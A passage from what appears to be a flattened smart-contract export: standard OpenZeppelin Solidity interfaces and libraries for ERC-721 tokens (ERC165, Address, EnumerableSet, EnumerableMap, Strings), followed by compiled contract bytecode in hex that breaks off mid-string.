{IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Enumerable is IERC721 { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./IERC165.sol"; /** * @dev Implementation of the {IERC165} interface. * * Contracts may inherit from this and call {_registerInterface} to declare * their support of an interface. */ abstract contract ERC165 is IERC165 { /* * bytes4(keccak256('supportsInterface(bytes4)')) == 0x01ffc9a7 */ bytes4 private constant _INTERFACE_ID_ERC165 = 0x01ffc9a7; /** * @dev Mapping of interface ids to whether or not it's supported. */ mapping(bytes4 => bool) private _supportedInterfaces; constructor () internal { // Derived contracts need only register support for their own interfaces, // we register support for ERC165 itself here _registerInterface(_INTERFACE_ID_ERC165); } /** * @dev See {IERC165-supportsInterface}. * * Time complexity O(1), guaranteed to always use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return _supportedInterfaces[interfaceId]; } /** * @dev Registers the contract as an implementer of the interface defined by * `interfaceId`. Support of the actual ERC165 interface is automatic and * registering its interface id is not required. * * See {IERC165-supportsInterface}. * * Requirements: * * - `interfaceId` cannot be the ERC165 invalid interface (`0xffffffff`). */ function _registerInterface(bytes4 interfaceId) internal virtual { require(interfaceId != 0xffffffff, "ERC165: invalid interface id"); _supportedInterfaces[interfaceId] = true; } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMap { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev String operations. */ library Strings { /** * @dev Converts a `uint256` to its ASCII `string` representation. */ function toString(uint256 value) internal pure returns (string memory) { // Inspired by OraclizeAPI's implementation - MIT licence // https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol if (value == 0) { return "0"; } uint256 temp = value; uint256 digits; while (temp != 0) { digits++; temp /= 10; } bytes memory buffer = new bytes(digits); uint256 index = digits - 1; temp = value; while (temp != 0) { buffer[index--] = bytes1(uint8(48 + temp % 10)); temp /= 10; } return string(buffer); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); }
0x60806040526004361061020f5760003560e01c80636c0360eb11610118578063a22cb465116100a0578063c87b56dd1161006f578063c87b56dd14610811578063e75722301461084e578063e985e9c51461088b578063efef39a1146108c8578063f2fde38b146108e45761020f565b8063a22cb4651461076b578063b04c6a0b14610794578063b88d4fde146107bf578063c39cbef1146107e85761020f565b80637e9be2b7116100e75780637e9be2b71461065e5780638da5cb5b1461069b5780639416b423146106c657806395d89b41146107035780639ffdb65a1461072e5761020f565b80636c0360eb146105a257806370a08231146105cd57806370d9235a1461060a578063715018a6146106475761020f565b80632f745c591161019b57806342966c681161016a57806342966c68146104995780634f558e79146104c25780634f6ccce7146104ff5780635e3792501461053c5780636352211e146105655761020f565b80632f745c59146103c95780632ff1173b14610406578063310495ab1461043357806342842e0e146104705761020f565b8063158ef93e116101e2578063158ef93e146102e257806315b56d101461030d57806318160ddd1461034a57806323b872dd1461037557806323be605d1461039e5761020f565b806301ffc9a71461021457806306fdde0314610251578063081812fc1461027c578063095ea7b3146102b9575b600080fd5b34801561022057600080fd5b5061023b6004803603810190610236919061458f565b61090d565b6040516102489190615648565b60405180910390f35b34801561025d57600080fd5b50610266610974565b604051610273919061567e565b60405180910390f35b34801561028857600080fd5b506102a3600480360381019061029e9190614622565b610a16565b6040516102b0919061551a565b60405180910390f35b3480156102c557600080fd5b506102e060048036038101906102db9190614495565b610a9b565b005b3480156102ee57600080fd5b506102f7610bb3565b6040516103049190615648565b60405180910390f35b34801561031957600080fd5b50610334600480360381019061032f91906145e1565b610bc6565b6040516103419190615648565b60405180910390f35b34801561035657600080fd5b5061035f610c03565b60405161036c9190615ae0565b60405180910390f35b34801561038157600080fd5b5061039c6004803603810190610397919061438f565b610c14565b005b3480156103aa57600080fd5b506103b3610c74565b6040516103c09190615535565b60405180910390f35b3480156103d557600080fd5b506103f060048036038101906103eb9190614495565b610c9a565b6040516103fd9190615ae0565b60405180910390f35b34801561041257600080fd5b5061041b610cf5565b60405161042a939291906155fc565b60405180910390f35b34801561043f57600080fd5b5061045a60048036038101906104559190614622565b610f26565b604051610467919061567e565b60405180910390f35b34801561047c57600080fd5b506104976004803603810190610492919061438f565b610fd6565b005b3480156104a557600080fd5b506104c060048036038101906104bb9190614622565b610ff6565b005b3480156104ce57600080fd5b506104e960048036038101906104e49190614622565b611002565b6040516104f69190615648565b60405180910390f35b34801561050b57600080fd5b5061052660048036038101906105219190614622565b611014565b6040516105339190615ae0565b60405180910390f35b34801561054857600080fd5b50610563600480360381019061055e91906144d1565b611037565b005b34801561057157600080fd5b5061058c60048036038101906105879190614622565b61118a565b604051610599919061551a565b60405180910390f35b3480156105ae57600080fd5b506105b76111c1565b6040516105c4919061567e565b60405180910390f35b3480156105d957600080fd5b506105f460048036038101906105ef919061432a565b611263565b6040516106019190615ae0565b60405180910390f35b34801561061657600080fd5b50610631600480360381019061062c9190614622565b611322565b60405161063e9190615ae0565b60405180910390f35b34801561065357600080fd5b5061065c61133a565b005b34801561066a57600080fd5b5061068560048036038101906106809190614622565b611477565b604051610692919061567e565b60405180910390f35b3480156106a757600080fd5b506106b0611527565b6040516106bd919061551a565b60405180910390f35b3480156106d257600080fd5b506106ed60048036038101906106e891906145e1565b611551565b6040516106fa919061567e565b60405180910390f35b34801561070f57600080fd5b506107186116cd565b604051610725919061567e565b60405180910390f35b34801561073a57600080fd5b50610755600480360381019061075091906145e1565b61176f565b6040516107629190615648565b60405180910390f35b34801561077757600080fd5b50610792600480360381019061078d9190614459565b611a77565b005b3480156107a057600080fd5b506107a9611bf8565b6040516107b69190615535565b60405180910390f35b3480156107cb57600080fd5b506107e660048036038101906107e191906143de565b611c1e565b005b3480156107f457600080fd5b5061080f600480360381019061080a919061464b565b611c80565b005b34801561081d57600080fd5b5061083860048036038101906108339190614622565b612143565b604051610845919061567e565b60405180910390f35b34801561085a57600080fd5b5061087560048036038101906108709190614622565b6122c6565b6040516108829190615ae0565b60405180910390f35b34801561089757600080fd5b506108b260048036038101906108ad9190614353565b6122ff565b6040516108bf9190615648565b60405180910390f35b6108e260048036038101906108dd9190614622565b612393565b005b3480156108f057600080fd5b5061090b6004803603810190610906919061432a565b6128c0565b005b6000806000837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260200190815260200160002060009054906101000a900460ff169050919050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a0c5780601f106109e157610100808354040283529160200191610a0c565b820191906000526020600020905b8154815290600101906020018083116109ef57829003601f168201915b5050505050905090565b6000610a2182612a6c565b610a60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5790615960565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610aa68261118a565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b0e90615a40565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610b36612a89565b73ffffffffffffffffffffffffffffffffffffffff161480610b655750610b6481610b5f612a89565b6122ff565b5b610ba4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9b90615880565b60405180910390fd5b610bae8383612a91565b505050565b601260149054906101000a900460ff1681565b6000600d610bd383611551565b604051610be091906154ca565b908152602001604051809103902060009054906101000a900460ff169050919050565b6000610c0f6002612b4a565b905090565b610c25610c1f612a89565b82612b5f565b610c64576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5b90615a80565b60405180910390fd5b610c6f838383612c3d565b505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000610ced82600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612e5490919063ffffffff16565b905092915050565b606080606080606467ffffffffffffffff81118015610d1357600080fd5b50604051908082528060200260200182016040528015610d425781602001602082028036833780820191505090505b5090506060606467ffffffffffffffff81118015610d5f57600080fd5b50604051908082528060200260200182016040528015610d8e5781602001602082028036833780820191505090505b5090506060606467ffffffffffffffff81118015610dab57600080fd5b50604051908082528060200260200182016040528015610ddf57816020015b6060815260200190600190039081610dca5790505b50905060005b6064811015610f1457600e600060018301815260200190815260200160002054848281518110610e1157fe5b602002602001018181525050610e29600182016122c6565b838281518110610e3557fe5b602002602001018181525050600c60006001830181526020019081526020016000208054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050828281518110610efc57fe5b60200260200101819052508080600101915050610de5565b50828282955095509550505050909192565b600c6020528060005260406000206000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610fce5780601f10610fa357610100808354040283529160200191610fce565b820191906000526020600020905b815481529060010190602001808311610fb157829003601f168201915b505050505081565b610ff183838360405180602001604052806000815250611c1e565b505050565b610fff81612e6e565b50565b600061100d82612a6c565b9050919050565b60008061102b836002612fa890919063ffffffff16565b50905080915050919050565b61103f612a89565b73ffffffffffffffffffffffffffffffffffffffff1661105d611527565b73ffffffffffffffffffffffffffffffffffffffff16146110b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110aa906159a0565b60405180910390fd5b601260149054906101000a900460ff1615611103576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110fa90615ac0565b60405180910390fd5b60005b825181101561116a5781818151811061111b57fe5b6020026020010151600f600085848151811061113357fe5b60200260200101518152602001908152602001600020908051906020019061115c929190614013565b508080600101915050611106565b506001601260146101000a81548160ff0219169083151502179055505050565b60006111ba82604051806060016040528060298152602001615ee0602991396002612fd49092919063ffffffff16565b9050919050565b606060098054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156112595780601f1061122e57610100808354040283529160200191611259565b820191906000526020600020905b81548152906001019060200180831161123c57829003601f168201915b5050505050905090565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cb906158a0565b60405180910390fd5b61131b600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020612ff3565b9050919050565b600e6020528060005260406000206000915090505481565b611342612a89565b73ffffffffffffffffffffffffffffffffffffffff16611360611527565b73ffffffffffffffffffffffffffffffffffffffff16146113b6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ad906159a0565b60405180910390fd5b600073ffffffffffffffffffffffff